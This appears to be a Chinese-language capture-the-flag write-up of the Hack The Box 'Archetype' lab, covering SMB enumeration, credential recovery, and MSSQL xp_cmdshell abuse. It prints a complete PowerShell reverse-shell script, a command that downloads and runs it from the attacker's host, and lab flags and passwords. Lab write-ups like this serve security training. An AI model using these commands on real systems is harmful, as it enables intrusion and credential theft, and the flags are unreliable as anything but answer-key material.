[StartingPoint][Tier2]Archetype

Task 1

Which TCP port is hosting a database server?

(哪个端口开放了数据库服务)

$ nmap 10.129.95.187 -sC --min-rate 1000

image.png

1433

Task 2

What is the name of the non-Administrative share available over SMB?

(哪个非管理共享提供了SMB?)

$ smbclient -N -L 10.129.95.187

image.png

backups

Task 3

What is the password identified in the file on the SMB share?

(在 SMB 共享中识别的文件中的密码是什么?)

$ smbclient -N //10.129.95.187/backups

>dir

>get prod.dtsConfig

image.png

image.png

M3g4c0rp123

Task 4

What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

(从 Impacket 集合中的哪个脚本可以用于与 Microsoft SQL Server 建立经过身份验证的连接?)

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt

mssqlclient.py

Task 5

What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

(Microsoft SQL Server 的哪个扩展存储过程可以用于生成一个 Windows 命令 shell?)

python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.95.187 -windows-auth

image.png

xp_cmdshell

Task 6

What script can be used in order to search possible paths to escalate privileges on Windows hosts?

(用于搜索可能的路径以提升 Windows 主机权限的脚本是什么)

winpeas

Task 7

What file contains the administrator’s password?

(什么文件中包含的管理员密码?)

使用SELECT is_srvrolemember('sysadmin'); 用来检查当前用户是否属于 sysadmin 角色,即系统管理员角色。如果用户是 sysadmin 角色的成员,该命令将返回 1;否则,返回 0

image.png

没有启用xp_cmdshell

image.png

EXEC sp_configure 'Show Advanced Options', 1;
允许修改高级配置选项

RECONFIGURE;

确认操作

image.png

sp_configure;

查看sp_configure配置

image.png

EXEC sp_configure 'xp_cmdshell', 1;

使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令

RECONFIGURE;

确认操作

image.png

>xp_cmdshell "powershell -c whoami";

image.png

$ vim reverse.txt

$LHOST = "10.10.16.8"; $LPORT = 10032; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

image.png

$ 开启8000端口让服务器下载程序

image.png

> xp_cmdshell "powershell -c (Invoke-Expression (curl http://10.10.16.8:8000/reverse.txt -UseBasicParsing))";

服务端powershell反弹shell

image.png

$ nc -lvp 10032

image.png

image.png

获得了一个低权限用户

type c:\\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

查看历史命令

image.png

ConsoleHost_history.txt

User Flag

powershell 命令快速获取桌面文件命令

Ps>Get-ChildItem -Path "C:\Users\sql_svc\Desktop"

image.png

cmd
> dir "C:\Users\sql_svc\Desktop"

3e7b102e78218e935bf3f4951fec21a3

Root Flag

image.png

b91ccec3305e98240082d4474b848528

解题过程

1.通过smb共享文件获取到敏感文件
2.利用mssqlclient来操作Microsoft SQL进行xp_cmdshell命令执行
3.获取一个普通用户权限,读取Desktop目录下user.txt。这里再利用(c:\\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt)存放的历史命令,成功获取到管理员smb泄露的权限密码
4.将获取到的smb管理员密码,通过psexec进行命令执行,成功提权,读取Desktop下的root.txt

相关推荐

  1. IDEA中,Archetype的作用

    2024-04-09 05:16:02       38 阅读
  2. 作业2.2

    2024-04-09 05:16:02       25 阅读
  3. <span style='color:red;'>2</span>.<span style='color:red;'>2</span>作业

    2.2作业

    2024-04-09 05:16:02      33 阅读
  4. 2.2作业

    2024-04-09 05:16:02       28 阅读
  5. 假期作业 2.2

    2024-04-09 05:16:02       32 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-09 05:16:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-09 05:16:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-09 05:16:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-09 05:16:02       18 阅读

热门阅读

  1. 解决报错OSError: cannot write mode RGBA as JPEG

    2024-04-09 05:16:02       12 阅读
  2. 简述对css工程化的理解

    2024-04-09 05:16:02       14 阅读
  3. hash模式和history模式的区别

    2024-04-09 05:16:02       17 阅读
  4. 关于SpringBoot的配置文件

    2024-04-09 05:16:02       12 阅读
  5. MySQL-commit,rollback

    2024-04-09 05:16:02       13 阅读
  6. 探索 C++ 中的 string 类

    2024-04-09 05:16:02       10 阅读
  7. Inotify

    Inotify

    2024-04-09 05:16:02      11 阅读
  8. PCL 三角形到三角形的距离

    2024-04-09 05:16:02       11 阅读